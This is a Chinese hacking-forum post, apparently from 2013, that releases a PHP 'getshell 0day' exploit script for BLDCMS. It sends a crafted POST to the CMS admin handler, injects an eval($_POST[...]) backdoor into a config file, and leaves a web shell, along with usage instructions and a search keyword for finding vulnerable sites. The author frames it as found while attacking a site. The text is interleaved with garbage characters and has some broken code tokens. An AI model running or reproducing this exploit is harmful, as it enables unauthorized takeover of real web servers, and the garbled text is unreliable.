之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞" _( ? v! B( p4 h X
A5 J3 @+ H9 ?) q1 S0 Q# y ! ~. c: F" o/ U1 E# i8 t1 q
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
$ m n6 A# m. I. n$ N. [ " p& H7 d- v7 j1 S3 G
既然都有人发了 我就把我之前写好的EXP放出来吧
$ p& P" ?- k+ u: D2 {0 Y 1 i0 F2 R4 a8 m/ w7 W6 f
view source print?01.php;"> i* h5 z& `! o* F
02.<!--?php
* n- D j% I9 U2 y3 q" r2 l. R03.echo "-------------------------------------------------------------------; x* h1 a. @7 e* K
04.
7 `- G- Y" t' w05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP7 B4 g; x$ }( o+ u! E1 Y3 y
06. 9 k2 A# G6 M" E8 \ F \& {
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun
- l1 K$ Q' y' d X/ G1 K+ x08. ; w" R& T& y1 n+ K, E6 W
09.QQ:981009941\r\n 2013.3.21\r\n . D( E2 Q8 @9 ^% Y" [1 M$ z
10. ) Y" R2 \, B- y+ Q
11.
u$ N' O: c. p w" l; ~12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码+ J& ~ Z! S. R) X
13. 9 ]1 F! Z% M: _5 }6 K
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
- J! p d6 |0 C5 x% l9 G' V: X15. & \: s$ ~! k: x) S/ B5 I- ]8 ~
16.--------------------------------------------------------------------\r\n";
* U0 r7 k3 b: u% a4 n4 w5 P) v17.$url=$argv[1];! m! J0 R' ?4 P) W
18.$dir=$argv[2];& X; E% S8 @$ {- U6 U
19.$pass=$argv[3];
. U2 w! S$ v# }; h5 d20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';+ D! G- E" N3 ]. w: E; h
21.if (emptyempty($pass)||emptyempty($url))& E$ a) m8 ?( s; G7 F! c/ f4 u
22.{exit("请输入参数");}8 W, K- _0 ?) w# }* m7 n
23.else
4 K1 I4 W2 ?: p2 E8 k3 l/ k24.{, J5 Y! r6 {# s$ g6 ~5 ^
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
; | n s& ^+ N( X+ w7 j, S9 S26. 3 [* x( Y% q/ m, I h
27.al;
2 s3 j' K: N3 Q) o$ ^# Q E5 a. W( r! H28.$length = strlen($fuckdata);
; P, X8 }" E, t7 @' t8 e29.function getshell($url,$pass): z; S+ \# f* H: s5 j, G" l9 l
30.{+ s6 e' h6 b9 b/ u
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
- z7 }" P$ u2 d32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
' e' h# ~/ u' R0 a: c& h" J2 b33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";( B$ E5 I- E5 Z# T. @' b
34.$header .= "User-Agent: MSIE\r\n";% ^ B' l+ c% P3 [/ o& H. d
35.$header .= "Host:".$url."\r\n";
( q v0 I8 |( N$ _! f4 q9 G36.$header .= "Content-Length: ".$length."\r\n";
4 k. O: @+ O3 |# x; ~4 q1 e6 \37.$header .= "Connection: Close\r\n";) w) x" C, C, W X
38.$header .="\r\n";% ^: h4 w! V4 p- P1 ~
39.$header .= $fuckdata."\r\n\r\n";; C& i9 P. M5 D- f
40.$fp = fsockopen($url, 80,$errno,$errstr,15);* c) D8 h5 j% [6 B' F7 |6 n
41.if (!$fp)
S9 |* j. v; V2 k42.{
+ l" W9 y* L' O/ N43.exit ("利用失败:请检查指定目标是否能正常打开");
v; E( E S$ A. P! l+ x44.}4 S! `+ H# N1 A
45.else{ if (!fputs($fp,$header))
1 O0 g$ F0 d% X46.{exit ("利用失败");}
4 D' t$ h! F$ j& Z# F$ ^/ V$ B' c3 I47.else
" j5 R' E3 V5 \- D" z48.{* w: { q6 d L1 m- i; A I+ U6 i. q
49.$receive = '';2 a$ x$ ^; @( @% y b" y
50.while (!feof($fp)) {
r4 e7 k9 t# ~' k: X* F9 Q51.$receive .= @fgets($fp, 1000);
/ h) @$ u4 [) d' ]& J52.}' \: N! M+ E6 R( \. L# F3 p
53.@fclose($fp);- z: I0 |% d2 X1 O4 W/ S# e
54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标+ K/ j" t# A. X% w8 D( }
55.
, f2 b* `: \' M& `+ @, Q) `; [ s. {" b56.GPC是否=off)";& E* j7 T& g ] P4 L, Q
57.}}
, f$ Z: i$ y. d' G+ J58.}9 A) Q1 O3 u/ d+ G- s
59.}
6 C/ m1 E! @! @ {60.getshell($url,$pass);
4 G, z0 ~5 t5 g" b' J# R61.?-->
f3 C: B5 J) I6 [- |% D / u- k& S2 t- ]6 |- ^0 i
" D: Y% K+ f+ z; d8 l7 f; I8 K + ^* j+ i6 {7 A* N0 \% B1 O
by 数据流( J$ r0 @ Q6 n% v% y+ Q
|